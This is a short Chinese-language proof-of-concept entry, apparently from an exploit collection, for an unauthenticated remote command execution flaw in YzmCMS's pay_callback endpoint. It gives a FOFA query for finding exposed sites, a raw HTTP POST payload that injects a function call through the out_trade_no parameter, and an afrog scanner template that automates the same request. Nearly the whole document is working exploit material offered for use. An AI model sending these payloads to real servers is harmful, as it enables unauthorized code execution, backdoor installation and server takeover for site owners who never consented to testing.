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58 lines
1.7 KiB
Markdown
58 lines
1.7 KiB
Markdown
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# YzmCMS接口存在pay_callback远程命令执行
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YzmCMS是一款基于YZMPHP开发的一套轻量级开源内容管理系统,YzmCMS简洁、安全、开源、免费,可运行在Linux、Windows、MacOSX、Solaris等各种平台上,专注为公司企业、个人站长快速建站提供解决方案。
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## fofa
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```
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app="yzmcms"
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```
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## poc
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```
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POST /pay/index/pay_callback.html HTTP/1.1
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Host: your-ip
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User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
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Accept-Encoding: gzip
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Content-Type: application/x-www-form-urlencoded
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out_trade_no[0]=eq&out_trade_no[1]=1&out_trade_no[2]=phpinfo
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```
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## afrog
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```yaml
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id: YzmCMS-pay_callback-RCE
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info:
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name: YzmCMS pay_callback 远程命令执行漏洞
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author: Superhero
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severity: high
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description: |-
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fofa: app="yzmcms"
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YzmCMS /pay/index/pay_callback.html接口存在远程命令执行漏洞，未经身份验证的远程攻击者可利用此漏洞执行任意系统指令，写入后门文件，最终可获取服务器权限。
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reference:
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- https://blog.csdn.net/m0_60571842/article/details/140112191
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tags: RCE
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rules:
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r0:
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request:
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method: POST
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path: /pay/index/pay_callback.html
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headers:
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Content-Type: application/x-www-form-urlencoded
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body: out_trade_no[0]=eq&out_trade_no[1]=1&out_trade_no[2]=phpinfo
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expression: response.status == 200 && response.body.bcontains(b'phpinfo()') && response.body.bcontains(b'PHP Version')
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expression: r0()
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```
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